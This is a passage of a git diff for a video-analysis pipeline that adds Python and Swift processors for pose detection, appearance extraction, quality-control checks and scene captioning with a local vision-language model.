"left_shoulder", "right_shoulder", "left_elbow", "right_elbow", + "left_wrist", "right_wrist", "left_pinky", "right_pinky", + "left_index", "right_index", "left_thumb", "right_thumb", + "left_hip", "right_hip", "left_knee", "right_knee", + "left_ankle", "right_ankle", "left_heel", "right_heel", + "left_foot_index", "right_foot_index", +] + + +def process_video( + video_path: str, + output_path: str, + file_uuid: str, + sample_interval: int = 3, # Match Apple Vision default +) -> dict: + """ + Process video with MediaPipe Pose. + + Args: + video_path: Path to video file + output_path: Output JSON path + file_uuid: File UUID + sample_interval: Process every N frames + + Returns: + Dict with pose data + """ + # Download model if not exists + model_path = os.path.expanduser("~/.mediapipe/models/pose_landmarker_heavy.task") + if not os.path.exists(model_path): + os.makedirs(os.path.dirname(model_path), exist_ok=True) + print(f"[mediapipe_pose] Downloading model...") + import urllib.request + url = "https://storage.googleapis.com/mediapipe-models/pose_landmarker/pose_landmarker_heavy/float16/1/pose_landmarker_heavy.task" + urllib.request.urlretrieve(url, model_path) + print(f"[mediapipe_pose] Model downloaded to {model_path}") + + # Initialize Pose Landmarker + options = PoseLandmarkerOptions( + base_options=BaseOptions(model_asset_path=model_path), + running_mode=mp.tasks.vision.RunningMode.VIDEO, + ) + detector = PoseLandmarker.create_from_options(options) + + # Open video + cap = cv2.VideoCapture(video_path) + if not cap.isOpened(): + print(f"[mediapipe_pose] Cannot open video: {video_path}", file=sys.stderr) + return {"error": "Cannot open video"} + + fps = cap.get(cv2.CAP_PROP_FPS) + total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) + width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) + height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) + + print(f"[mediapipe_pose] Video: {total_frames} frames, {fps:.2f} fps, {width}x{height}") + print(f"[mediapipe_pose] Processing every {sample_interval} frames...") + + frames_data = [] + frame_num = 0 + processed_count = 0 + + start_time = time.time() + + while True: + ret, frame = cap.read() + if not ret: + break + + # Process every N frames + if frame_num % sample_interval == 0: + # Convert BGR to RGB + rgb_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + + # Create MediaPipe Image + mp_image = mp.Image(mp.ImageFormat.SRGB, rgb_frame) + + # Detect pose + results = detector.detect_for_video(mp_image, int(frame_num * 1000 / fps)) + + if results.pose_landmarks: + for pose_landmarks in results.pose_landmarks: + keypoints = [] + face_keypoints = [] + + for idx, landmark in enumerate(pose_landmarks): + name = LANDMARK_NAMES[idx] if idx < len(LANDMARK_NAMES) else f"landmark_{idx}" + kp = { + "name": name, + "x": landmark.x * width, + "y": landmark.y * height, + "z": landmark.z if hasattr(landmark, 'z') else 0, + "confidence": landmark.visibility if hasattr(landmark, 'visibility') else 1.0, + } + keypoints.append(kp) + + if name in ["nose", "left_eye", "right_eye"]: + face_keypoints.append(kp) + + # Calculate bbox from all keypoints + valid_kps = [kp for kp in keypoints if kp["confidence"] > 0.3] + if valid_kps: + x_coords = [kp["x"] for kp in valid_kps] + y_coords = [kp["y"] for kp in valid_kps] + bbox = { + "x": min(x_coords), + "y": min(y_coords), + "width": max(x_coords) - min(x_coords), + "height": max(y_coords) - min(y_coords), + } + else: + bbox = {"x": 0, "y": 0, "width": 0, "height": 0} + + frames_data.append({ + "frame": frame_num, + "timestamp": frame_num / fps, + "persons": [{ + "keypoints": keypoints, + "bbox": bbox, + "face_keypoints": face_keypoints, + }], + }) + + processed_count += 1 + + if processed_count % 100 == 0: + elapsed = time.time() - start_time + print(f"[mediapipe_pose] Processed {processed_count} poses ({elapsed:.1f}s)") + + frame_num += 1 + + cap.release() + detector.close() + + elapsed = time.time() - start_time + + # Build output + output = { + "file_uuid": file_uuid, + "processor": "mediapipe_pose", + "fps": fps, + "frame_count": total_frames, + "sample_interval": sample_interval, + "total_poses": len(frames_data), + "elapsed_seconds": round(elapsed, 2), + "frames": frames_data, + } + + # Save + with open(output_path, "w") as f: + json.dump(output, f) + + print(f"[mediapipe_pose] Saved: {output_path}") + print(f"[mediapipe_pose] Total poses: {len(frames_data)}") + print(f"[mediapipe_pose] Elapsed: {elapsed:.1f}s") + + return output + + +def main(): + parser = argparse.ArgumentParser(description="MediaPipe Pose Processor") + parser.add_argument("--video", "-v", required=True, help="Video file path") + parser.add_argument("--file-uuid", "-u", required=True, help="File UUID") + parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory") + parser.add_argument("--sample-interval", "-s", type=int, default=3, help="Process every N frames") + args = parser.parse_args() + + output_path = Path(args.output_dir) / f"{args.file_uuid}.pose.mediapipe.json" + + result = process_video( + args.video, + str(output_path), + args.file_uuid, + args.sample_interval, + ) + + if "error" not in result: + print(f"\n[mediapipe_pose] Done. Output: {output_path}") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/ocr_processor.py b/scripts/ocr_processor.py index bcf5de7..c2782ce 100755 --- a/scripts/ocr_processor.py +++ b/scripts/ocr_processor.py @@ -109,6 +109,7 @@ if __name__ == "__main__": parser.add_argument("--uuid", "-u", default="") parser.add_argument("--sample-interval", type=int, default=30) parser.add_argument("--recognition-level", choices=["fast", "accurate"], default="accurate") + parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS) args = parser.parse_args() publisher = RedisPublisher(args.uuid) if args.uuid else None diff --git a/scripts/pose_processor.py b/scripts/pose_processor.py index a03f700..9fae64e 100755 --- a/scripts/pose_processor.py +++ b/scripts/pose_processor.py @@ -291,6 +291,8 @@ def _fallback(video_path, output_path, uuid, sample_interval): frame_count += 1 cap.release() result = {"frame_count": len(frames), "fps": fps, "frames": frames} + if len(frames) == 0: + result["status"] = "no_face" with open(output_path, "w") as f: json.dump(result, f, indent=2) return result diff --git a/scripts/pose_processor_v2.py b/scripts/pose_processor_v2.py new file mode 100644 index 0000000..f95eec9 --- /dev/null +++ b/scripts/pose_processor_v2.py @@ -0,0 +1,195 @@ +#!/opt/homebrew/bin/python3.11 +""" +Pose Expansion Processor V2 + +Calls swift_pose_expansion which: +1. Reads face_traced.json (from face tracking with trace_id) +2. Expands pose detection from trace frames +3. Stops when 3 consecutive frames have no pose +4. Outputs at 8Hz sampling (floor(fps/8)) + +Flow: + face_processor.py → face.json + store_traced_faces.py → face_traced.json (with trace_id) + pose_processor.py → pose.json (this script) + appearance_processor.py → appearance.json +""" + +import sys +import os +import json +import argparse +import subprocess +import time + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from redis_publisher import RedisPublisher + +SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) +SWIFT_BIN = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "release", "swift_pose_expansion") +SWIFT_BIN_DEBUG = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "debug", "swift_pose_expansion") + +OUTPUT_DIR = os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output") + + +def process_pose( + video_path: str, + output_path: str, + uuid: str = "", + publisher: RedisPublisher = None, +) -> dict: + """Process pose expansion from face traces. + + Args: + video_path: Path to video file + output_path: Path to output pose.json + uuid: File UUID for logging + publisher: Redis publisher for progress updates + """ + # Check if pose.json already exists + if os.path.exists(output_path): + with open(output_path) as f: + data = json.load(f) + frame_count = len(data.get("frames", [])) + print(f"[Pose] Output exists: {output_path} ({frame_count} frames)", file=sys.stderr) + if publisher: + publisher.progress("pose", 100, 100, f"{frame_count} frames (exists)") + return data + + # Determine file_uuid from output_path + file_uuid = os.path.basename(output_path).replace(".pose.json", "") + + # Find face_traced.json + face_traced_path = os.path.join(OUTPUT_DIR, f"{file_uuid}.face_traced.json") + face_json_path = os.path.join(OUTPUT_DIR, f"{file_uuid}.face.json") + + # Prefer face_traced.json (has trace_id), fallback to face.json + input_face_path = None + if os.path.exists(face_traced_path): + input_face_path = face_traced_path + print(f"[Pose] Using face_traced.json: {face_traced_path}", file=sys.stderr) + elif os.path.exists(face_json_path): + # Try to run face tracking to generate face_traced.json + print(f"[Pose] face_traced.json not found, running face tracker...", file=sys.stderr) + try: + tracker_script = os.path.join(SCRIPT_DIR, "store_traced_faces.py") + if os.path.exists(tracker_script): + result = subprocess.run( + ["python3", tracker_script, "--file-uuid", file_uuid], + capture_output=True, text=True, timeout=300 + ) + if result.returncode == 0 and os.path.exists(face_traced_path): + input_face_path = face_traced_path + print(f"[Pose] Face tracing completed: {face_traced_path}", file=sys.stderr) + else: + print(f"[Pose] Face tracing failed, falling back to face.json", file=sys.stderr) + input_face_path = face_json_path + else: + input_face_path = face_json_path + except Exception as e: + print(f"[Pose] Face tracking error: {e}, falling back to face.json", file=sys.stderr) + input_face_path = face_json_path + + if input_face_path == face_json_path: + print(f"[Pose] WARNING: Using face.json without trace_id", file=sys.stderr) + else: + print(f"[Pose] ERROR: No face.json found for {file_uuid}", file=sys.stderr) + # Return empty result + empty_result = {"frame_count": 0, "fps": 0.0, "frames": []} + with open(output_path, "w") as f: + json.dump(empty_result, f) + return empty_result + + # Build swift_pose_expansion if needed + swift_bin = SWIFT_BIN if os.path.exists(SWIFT_BIN) else SWIFT_BIN_DEBUG + if not os.path.exists(swift_bin): + build_dir = os.path.join(SCRIPT_DIR, "swift_processors") + print(f"[Pose] Building swift_pose_expansion in {build_dir}...", file=sys.stderr) + result = subprocess.run( + ["swift", "build", "-c", "release", "--product", "swift_pose_expansion"], + cwd=build_dir, capture_output=True, text=True + ) + if result.returncode != 0: + print(f"[Pose] Build failed: {result.stderr}", file=sys.stderr) + raise RuntimeError("Failed to build swift_pose_expansion") + swift_bin = SWIFT_BIN + + # Run swift_pose_expansion + cmd = [ + swift_bin, + video_path, + input_face_path, + output_path, + ] + if uuid: + cmd.extend(["--uuid", uuid]) + + print(f"[Pose] Running: {' '.join(cmd)}", file=sys.stderr) + + t0 = time.time() + proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + + # Monitor progress + last_progress = "" + while proc.poll() is None: + time.sleep(5) + # Read stderr for progress + try: + # Non-blocking read + import select + if select.select([proc.stderr], [], [], 0)[0]: + line = proc.stderr.readline().strip() + if line and line != last_progress: + last_progress = line + print(f"[Pose] {line}", file=sys.stderr) + if publisher and "frames" in line: + publisher.progress("pose", 50, 100, line) + except Exception: + pass + + # Read remaining output + stdout, stderr = proc.communicate() + if stdout: + print(stdout, file=sys.stderr) + if stderr: + print(stderr, file=sys.stderr) + + elapsed = time.time() - t0 + + if proc.returncode != 0: + print(f"[Pose] ERROR: swift_pose_expansion exited with code {proc.returncode}", file=sys.stderr) + if publisher: + publisher.error("pose", f"Process failed with code {proc.returncode}") + raise RuntimeError(f"swift_pose_expansion failed: {proc.returncode}") + + # Load result + if not os.path.exists(output_path): + print(f"[Pose] ERROR: Output file not created: {output_path}", file=sys.stderr) + raise RuntimeError("Pose output not created") + + with open(output_path) as f: + result = json.load(f) + + frame_count = len(result.get("frames", [])) + print(f"[Pose] Done: {frame_count} frames in {elapsed:.1f}s", file=sys.stderr) + + if publisher: + publisher.progress("pose", 100, 100, f"{frame_count} frames") + publisher.complete("pose", f"{frame_count} frames") + + return result + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Pose Expansion Processor") + parser.add_argument("video_path", help="Video file path") + parser.add_argument("output_path", help="Output pose.json path") + parser.add_argument("--uuid", "-u", default="", help="File UUID for logging") + args = parser.parse_args() + + publisher = RedisPublisher(args.uuid) if args.uuid else None + if publisher: + publisher.info("pose", "POSE_START") + + result = process_pose(args.video_path, args.output_path, args.uuid, publisher) + print(f"Pose: {len(result.get('frames', []))} frames with poses") \ No newline at end of file diff --git a/scripts/qc_completed_files.py b/scripts/qc_completed_files.py new file mode 100644 index 0000000..854fc83 --- /dev/null +++ b/scripts/qc_completed_files.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +""" +QC Report for all completed files. +Checks pipeline standards and lists missing/invalid items. +""" + +import json +import os +import sys +import psycopg2 +from pathlib import Path + +OUTPUT_DIR = os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output") +DATABASE_URL = os.environ.get("DATABASE_URL", "postgresql://accusys@localhost:5432/momentry") + +# Required processor outputs +REQUIRED_PROCESSORS = ["face.json", "asr.json", "asrx.json", "ocr.json", "pose.json", "cut.json", "face_cluster.json", "face_traced.json", "profile.json"] + +def get_db_connection(): + return psycopg2.connect(DATABASE_URL) + +def check_processor_files(uuid): + """Check if all required processor output files exist.""" + missing = [] + for proc in REQUIRED_PROCESSORS: + path = Path(OUTPUT_DIR) / f"{uuid}.{proc}" + if not path.exists(): + missing.append(proc) + return missing + +def check_trace_profiles(conn, uuid): + """Check trace_profiles data quality.""" + with conn.cursor() as cur: + cur.execute("SELECT COUNT(*), SUM(frame_count), COUNT(CASE WHEN name IS NOT NULL AND name != '' THEN 1 END) FROM public.trace_profiles WHERE file_uuid = %s", (uuid,)) + count, total_frames, named_count = cur.fetchone() + + cur.execute("SELECT COUNT(*) FROM public.trace_profiles WHERE file_uuid = %s AND frame_count <= 0", (uuid,)) + zero_frames = cur.fetchone()[0] + + cur.execute("SELECT COUNT(*) FROM public.trace_profiles WHERE file_uuid = %s AND (vlm_description IS NULL OR vlm_description = '')", (uuid,)) + no_vlm_desc = cur.fetchone()[0] + + issues = [] + if count == 0: + issues.append("trace_profiles: 0 records") + if zero_frames > 0: + issues.append(f"trace_profiles: {zero_frames} records with frame_count <= 0") + if no_vlm_desc > 0: + issues.append(f"trace_profiles: {no_vlm_desc} records missing vlm_description") + return issues + +def check_tkg_nodes(conn, uuid): + """Check TKG nodes data.""" + with conn.cursor() as cur: + cur.execute("SELECT COUNT(*) FROM public.tkg_nodes WHERE file_uuid = %s AND node_type = 'face_track'", (uuid,)) + face_tracks = cur.fetchone()[0] + + cur.execute("SELECT COUNT(*) FROM public.tkg_edges WHERE file_uuid = %s", (uuid,)) + edges = cur.fetchone()[0] + + issues = [] + if face_tracks == 0: + issues.append("tkg_nodes: 0 face_track nodes") + if edges == 0: + issues.append("tkg_edges: 0 edges") + return issues + +def check_qdrant_faces(uuid): + """Check Qdrant _faces collection using curl.""" + try: + import subprocess + result = subprocess.run( + ["curl", "-s", "http://localhost:6333/collections/_faces/points/scroll", + "-H", "Content-Type: application/json", + "-d", json.dumps({"filter": {"must": [{"key": "file_uuid", "match": {"value": uuid}}]}, "limit": 1})], + capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0: + data = json.loads(result.stdout) + points = data.get("result", {}).get("points", []) + count = len(points) + return [] if count > 0 else [f"Qdrant _faces: {count} points"] + else: + return [f"Qdrant _faces: curl error"] + except Exception as e: + return [f"Qdrant _faces: error ({e})"] + +def check_video_metadata(conn, uuid): + """Check video metadata completeness.""" + with conn.cursor() as cur: + cur.execute("SELECT file_name, duration, fps, total_frames, cut_done FROM public.videos WHERE file_uuid = %s", (uuid,)) + row = cur.fetchone() + if not row: + return ["videos: record not found"] + + name, duration, fps, total_frames, cut_done = row + issues = [] + if duration <= 0: + issues.append(f"videos: duration={duration}") + if fps <= 0: + issues.append(f"videos: fps={fps}") + if total_frames <= 0: + issues.append(f"videos: total_frames={total_frames}") + if not cut_done: + issues.append("videos: cut_done=false") + return issues + +def main(): + conn = get_db_connection() + with conn.cursor() as cur: + cur.execute("SELECT file_uuid, file_name FROM public.videos WHERE status = 'completed' ORDER BY created_at DESC") + completed_files = cur.fetchall() + + if not completed_files: + print("No completed files found.") + return + + print("=" * 80) + print("QC REPORT FOR COMPLETED FILES") + print("=" * 80) + print(f"Total completed files: {len(completed_files)}") + print() + + all_issues = [] + for uuid, file_name in completed_files: + file_issues = [] + + # Check processor files + missing_procs = check_processor_files(uuid) + if missing_procs: + file_issues.append(f"Missing processor files: {', '.join(missing_procs)}") + + # Check video metadata + file_issues.extend(check_video_metadata(conn, uuid)) + + # Check trace_profiles + file_issues.extend(check_trace_profiles(conn, uuid)) + + # Check TKG + file_issues.extend(check_tkg_nodes(conn, uuid)) + + # Check Qdrant + file_issues.extend(check_qdrant_faces(uuid)) + + status = "PASS" if not file_issues else "FAIL" + print(f"[{status}] {file_name} ({uuid})") + for issue in file_issues: + print(f" - {issue}") + print() + + if file_issues: + all_issues.append((file_name, uuid, file_issues)) + + print("=" * 80) + print(f"SUMMARY: {len(completed_files) - len(all_issues)}/{len(completed_files)} files passed QC") + if all_issues: + print(f"\nFailed files:") + for name, uuid, issues in all_issues: + print(f" - {name}: {len(issues)} issue(s)") + +if __name__ == "__main__": + main() diff --git a/scripts/scene_vlm_caption.py b/scripts/scene_vlm_caption.py new file mode 100755 index 0000000..2492b4a --- /dev/null +++ b/scripts/scene_vlm_caption.py @@ -0,0 +1,330 @@ +#!/opt/homebrew/bin/python3.11 +""" +Scene VLM Caption - Generate VLM descriptions for scene key frames + +Analyzes scene key frames ({uuid}_scene_N.jpg) using VLM (llava:7b). + +Usage: + python scene_vlm_caption.py --file-uuid abc123 --output-dir /path/to/output + python scene_vlm_caption.py --scene-dir /path/to/output --scene-number 1 + +Output: + {output_dir}/{uuid}_scene_profile.json with: + - scenes: [{scene_number, vlm_description, vlm_location, ...}] +""" + +import argparse +import base64 +import json +import os +import sys +from pathlib import Path + +try: + import requests +except ImportError: + print("requests not installed: pip install requests", file=sys.stderr) + sys.exit(1) + + +def encode_image(image_path: str) -> str: + """Encode image to base64.""" + with open(image_path, "rb") as f: + return base64.b64encode(f.read()).decode("utf-8") + + +def call_vlm(image_path: str, prompt: str, model: str = "llava:7b", ollama_url: str = "http://localhost:11434") -> str: + """Call Ollama VLM API.""" + image_b64 = encode_image(image_path) + + payload = { + "model": model, + "prompt": prompt, + "images": [image_b64], + "stream": False, + "options": {"num_predict": 100} + } + + try: + resp = requests.post(f"{ollama_url}/api/generate", json=payload, timeout=30) + resp.raise_for_status() + data = resp.json() + return data.get("response", "").strip() + except Exception as e: + print(f"[vlm] API error: {e}", file=sys.stderr) + return "" + + +def get_embedding(text: str, model: str = "nomic-embed-text-v2-moe", ollama_url: str = "http://localhost:11434") -> list: + """Get embedding from Ollama.""" + try: + resp = requests.post( + f"{ollama_url}/api/embed", + json={"model": model, "input": text}, + timeout=30, + ) + resp.raise_for_status() + data = resp.json() + return data.get("embeddings", [[]])[0] + except Exception as e: + print(f"[vlm] Embedding error: {e}", file=sys.stderr) + return [] + + +def store_to_qdrant(analysis: dict, file_uuid: str, scene_number: int, qdrant_url: str = "http://localhost:6333", qdrant_api_key: str = None) -> bool: + """Store VLM results to Qdrant _vlm collection.""" + description = analysis.get("vlm_description", "") + if not description: + return False + + # Get embedding + embedding = get_embedding(description) + if not embedding: + print(f"[vlm] Failed to get embedding for scene_{scene_number}", file=sys.stderr) + return False + + # Generate point ID + import hashlib + point_id = int(hashlib.md5(f"{file_uuid}_scene_{scene_number}".encode()).hexdigest()[:16], 16) + + # Build payload + payload = { + "type": "scene", + "file_uuid": file_uuid, + "scene_number": scene_number, + **analysis, + } + + # Upsert to Qdrant + try: + headers = {} + if qdrant_api_key: + headers["api-key"] = qdrant_api_key + + resp = requests.put( + f"{qdrant_url}/collections/_vlm/points?wait=true", + json={ + "points": [{ + "id": point_id, + "vector": embedding, + "payload": payload, + }] + }, + headers=headers, + timeout=30, + ) + resp.raise_for_status() + print(f"[vlm] Stored to Qdrant: scene_{scene_number}") + return True + except Exception as e: + print(f"[vlm] Qdrant error: {e}", file=sys.stderr) + return False + + +def analyze_scene(image_path: str, model: str = "llava:7b") -> dict: + """ + Analyze a scene key frame with VLM. + + Returns: + Dict with VLM analysis results + """ + if not Path(image_path).exists(): + print(f"[vlm] Image not found: {image_path}", file=sys.stderr) + return {} + + print(f"[vlm] Analyzing {Path(image_path).name}...") + + # Prompt 1: Scene description + desc_prompt = "Describe this scene briefly. Include: location type, main objects, people count, activity. If uncertain, say 'unclear'. Do not guess." + description = call_vlm(image_path, desc_prompt, model) + + # Prompt 2: Lighting + light_prompt = "What is the lighting? Answer one word: day, night, indoor-light, mixed, or unknown." + lighting = call_vlm(image_path, light_prompt, model).lower().strip() + + # Prompt 3: Location classification + loc_prompt = "Classify the location. Answer in JSON: {\"location\": \"indoor/outdoor/unknown\", \"setting\": \"office/street/home/nature/studio/unknown\"}. Use 'unknown' if uncertain." + loc_raw = call_vlm(image_path, loc_prompt, model) + + loc_data = {} + try: + loc_clean = loc_raw.replace("```json", "").replace("```", "").strip() + parsed = json.loads(loc_clean) + if isinstance(parsed, dict): + loc_data = parsed + else: + loc_data = {} + except: + loc_data = {} + + # Prompt 4: Weather (for outdoor scenes) + weather_prompt = "If outdoor, what is the weather? Answer one word: sunny, cloudy, rainy, night, or unknown. If indoor, answer 'indoor'." + weather = call_vlm(image_path, weather_prompt, model).lower().strip() + + # Prompt 5: People count + people_prompt = "How many people are visible? Answer a number or 'unclear'." + people_count = call_vlm(image_path, people_prompt, model).strip() + + # Prompt 6: Objects/vehicles + objects_prompt = "What notable objects or vehicles are visible? Answer in JSON: {\"vehicles\": [\"car\", \"bus\", etc.], \"objects\": [\"table\", \"chair\", etc.]}. Use empty lists if none or unclear." + objects_raw = call_vlm(image_path, objects_prompt, model) + + objects_data = {} + try: + objects_clean = objects_raw.replace("```json", "").replace("```", "").strip() + parsed = json.loads(objects_clean) + if isinstance(parsed, dict): + objects_data = parsed + else: + objects_data = {"vehicles": [], "objects": []} + except: + objects_data = {"vehicles": [], "objects": []} + + # Prompt 7: Plants + plants_prompt = "What plants are visible? Answer in JSON: {\"has_plants\": true/false, \"plants\": [\"list recognizable names or brief descriptions\"]. Use empty list if none or unclear.}" + plants_raw = call_vlm(image_path, plants_prompt, model) + + plants_data = {} + try: + plants_clean = plants_raw.replace("```json", "").replace("```", "").strip() + parsed = json.loads(plants_clean) + if isinstance(parsed, dict): + plants_data = parsed + else: + plants_data = {"has_plants": False, "plants": []} + except: + plants_data = {"has_plants": False, "plants": []} + + # Prompt 8: Animals + animals_prompt = "What animals are visible? Answer in JSON: {\"has_animals\": true/false, \"animals\": [\"list recognizable names or brief descriptions\"]. Use empty list if none or unclear.}" + animals_raw = call_vlm(image_path, animals_prompt, model) + + animals_data = {} + try: + animals_clean = animals_raw.replace("```json", "").replace("```", "").strip() + parsed = json.loads(animals_clean) + if isinstance(parsed, dict): + animals_data = parsed + else: + animals_data = {"has_animals": False, "animals": []} + except: + animals_data = {"has_animals": False, "animals": []} + + # Prompt 9: Tags + tags_prompt = "List 5 tags for this scene, comma-separated. Only include what is clearly visible. Examples: office, street, sunny, crowd, nature." + tags_raw = call_vlm(image_path, tags_prompt, model) + tags = [t.strip() for t in tags_raw.replace(",", " ").split() if t.strip()][:5] + + return { + "vlm_description": description, + "vlm_lighting": lighting, + "vlm_location": loc_data.get("location", "unknown"), + "vlm_setting": loc_data.get("setting", "unknown"), + "vlm_weather": weather, + "vlm_people_count": people_count, + "vlm_vehicles": objects_data.get("vehicles", []), + "vlm_objects": objects_data.get("objects", []), + "vlm_has_plants": plants_data.get("has_plants", False), + "vlm_plants": plants_data.get("plants", []), + "vlm_has_animals": animals_data.get("has_animals", False), + "vlm_animals": animals_data.get("animals", []), + "vlm_tags": tags, + "vlm_model": model, + } + + +def analyze_all_scenes(file_uuid: str, output_dir: str, model: str = "llava:7b", store_qdrant: bool = True) -> dict: + """ + Analyze all scene key frames for a file. + + Returns: + Summary dict + """ + output_path = Path(output_dir) + + # Find all scene images + scene_images = sorted(output_path.glob(f"{file_uuid}_scene_*.jpg")) + + if not scene_images: + print(f"[vlm] No scene images found: {file_uuid}_scene_*.jpg in {output_dir}", file=sys.stderr) + return {"error": "No scene images"} + + results = [] + qdrant_api_key = os.environ.get("QDRANT_API_KEY") + + for scene_img in scene_images: + # Extract scene number from filename + scene_number = int(scene_img.stem.split("_scene_")[1]) + + analysis = analyze_scene(str(scene_img), model) + + if analysis: + # Store to Qdrant + if store_qdrant: + store_to_qdrant(analysis, file_uuid, scene_number, qdrant_api_key=qdrant_api_key) + + results.append({ + "scene_number": scene_number, + "image_path": str(scene_img), + **analysis, + }) + + # Save profile + profile = { + "file_uuid": file_uuid, + "total_scenes": len(results), + "model": model, + "scenes": results, + } + + profile_path = output_path / f"{file_uuid}_scene_profile.json" + with open(profile_path, "w") as f: + json.dump(profile, f, indent=2) + + print(f"[vlm] Saved profile: {profile_path}") + + return profile + + +def main(): + parser = argparse.ArgumentParser(description="VLM caption generation for scene key frames") + parser.add_argument("--file-uuid", "-u", help="File UUID (analyze all scenes)") + parser.add_argument("--scene-dir", "-d", help="Scene directory (contains {uuid}_scene_N.jpg)") + parser.add_argument("--scene-number", "-n", type=int, help="Single scene number") + parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory") + parser.add_argument("--model", "-m", default="llava:7b", help="VLM model name") + parser.add_argument("--json", "-j", action="store_true", help="Output as JSON") + args = parser.parse_args() + + if args.file_uuid: + result = analyze_all_scenes(args.file_uuid, args.output_dir, args.model) + elif args.scene_dir and args.scene_number is not None: + # Find file_uuid from directory + scene_dir = Path(args.scene_dir) + file_uuid = None + for f in scene_dir.glob("*_scene_*.jpg"): + file_uuid = f.stem.split("_scene_")[0] + break + + if not file_uuid: + print("Cannot determine file_uuid from scene_dir", file=sys.stderr) + sys.exit(1) + + scene_img = scene_dir / f"{file_uuid}_scene_{args.scene_number}.jpg" + result = analyze_scene(str(scene_img), args.model) + else: + parser.error("Requires --file-uuid or (--scene-dir + --scene-number)") + + if args.json: + print(json.dumps(result, indent=2)) + else: + if "scenes" in result: + print(f"Analyzed {len(result['scenes'])} scenes") + elif "vlm_description" in result: + print(f"Description: {result['vlm_description']}") + print(f"Location: {result.get('vlm_location', 'unknown')}") + print(f"Tags: {result.get('vlm_tags', [])}") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/swift_processors/Package.swift b/scripts/swift_processors/Package.swift index 04d8d6e..b002aab 100644 --- a/scripts/swift_processors/Package.swift +++ b/scripts/swift_processors/Package.swift @@ -126,5 +126,21 @@ let package = Package( path: ".", sources: ["swift_face_pose.swift"] ), + .executableTarget( + name: "swift_pose_expansion", + dependencies: [ + .product(name: "ArgumentParser", package: "swift-argument-parser"), + ], + path: ".", + sources: ["swift_pose_expansion.swift"] + ), + .executableTarget( + name: "swift_appearance_expansion", + dependencies: [ + .product(name: "ArgumentParser", package: "swift-argument-parser"), + ], + path: ".", + sources: ["swift_appearance_expansion.swift"] + ), ] ) diff --git a/scripts/swift_processors/swift_appearance_expansion.swift b/scripts/swift_processors/swift_appearance_expansion.swift new file mode 100644 index 0000000..b22e422 --- /dev/null +++ b/scripts/swift_processors/swift_appearance_expansion.swift @@ -0,0 +1,332 @@ +import Foundation +import Vision +import ArgumentParser +import AVFoundation + +/// Swift Appearance Expansion Processor V2 +/// +/// Reads pose.json and extracts colors at keypoint positions. +/// +/// Algorithm: +/// 1. Load pose.json, get frames with trace_id +/// 2. For each pose frame, extract colors at keypoint positions +/// 3. Record overall brightness for lighting adjustment +/// 4. Expand outward, stop when 3 consecutive frames have low similarity +/// 5. Output at 8Hz sampling +/// +/// Key Concepts: +/// - Appearance = colors at body part positions (head, torso, legs, feet) +/// - Used for tracking and agent search ("person wearing red shirt") +/// - Approximate colors are sufficient for top-K search +@main +struct SwiftAppearanceExpansion: ParsableCommand { + @Argument(help: "Video file path") + var videoPath: String + + @Argument(help: "Input pose.json path") + var posePath: String + + @Argument(help: "Output appearance.json path") + var outputPath: String + + @Option(name: .long, help: "UUID for logging") + var uuid: String = "" + + @Option(name: .long, help: "Consecutive miss threshold (default: 3)") + var missThreshold: Int = 3 + + @Option(name: .long, help: "Color sampling radius (default: 15)") + var colorRadius: Int = 15 + + mutating func run() throws { + let startTime = Date() + print("[AppearanceExpansion] Starting appearance extraction from pose: \(videoPath)") + + // Load pose.json + guard let poseData = try? Data(contentsOf: URL(fileURLWithPath: posePath)) else { + print("[AppearanceExpansion] ERROR: Cannot read \(posePath)") + return + } + + guard let poseJson = try? JSONSerialization.jsonObject(with: poseData) as? [String: Any] else { + print("[AppearanceExpansion] ERROR: Invalid JSON in \(posePath)") + return + } + + // Extract frames with trace_id from pose + var poseFrameDict: [Int: [String: Any]] = [:] // frame -> pose data with trace_id + + if let frames = poseJson["frames"] as? [[String: Any]] { + for frameData in frames { + guard let frameNum = frameData["frame"] as? Int else { continue } + poseFrameDict[frameNum] = frameData + } + } + + print("[AppearanceExpansion] Found \(poseFrameDict.count) pose frames in \(posePath)") + + if poseFrameDict.isEmpty { + print("[AppearanceExpansion] No pose frames found, skipping") + let emptyOutput: [String: Any] = ["frame_count": 0, "fps": 0.0, "frames": []] + let jsonData = try JSONSerialization.data(withJSONObject: emptyOutput, options: []) + try jsonData.write(to: URL(fileURLWithPath: outputPath)) + return + } + + // Get video info + let url = URL(fileURLWithPath: videoPath) + let asset = AVAsset(url: url) + guard let videoTrack = asset.tracks(withMediaType: .video).first else { + print("[AppearanceExpansion] ERROR: No video track") + return + } + + let fps = videoTrack.nominalFrameRate + let duration = CMTimeGetSeconds(asset.duration) + let totalFrames = Int(duration * Double(fps)) + let sampleInterval = max(1, Int(floor(Double(fps) / 8.0))) + + print("[AppearanceExpansion] Video: \(fps)fps, \(totalFrames) frames, 8Hz interval=\(sampleInterval)") + + // Track appearance frames + var appearanceFrameDict: [Int: [String: Any]] = [:] + + // Setup asset reader + let outputSettings: [String: Any] = [ + kCVPixelBufferPixelFormatTypeKey as String: kCVPixelFormatType_32BGRA + ] + + let reader = try AVAssetReader(asset: asset) + let trackOutput = AVAssetReaderTrackOutput(track: videoTrack, outputSettings: outputSettings) + trackOutput.alwaysCopiesSampleData = false + reader.add(trackOutput) + + guard reader.startReading() else { + print("[AppearanceExpansion] ERROR: Cannot start reader") + return + } + + // Process frames + var frameIndex = 0 + + while let sampleBuffer = 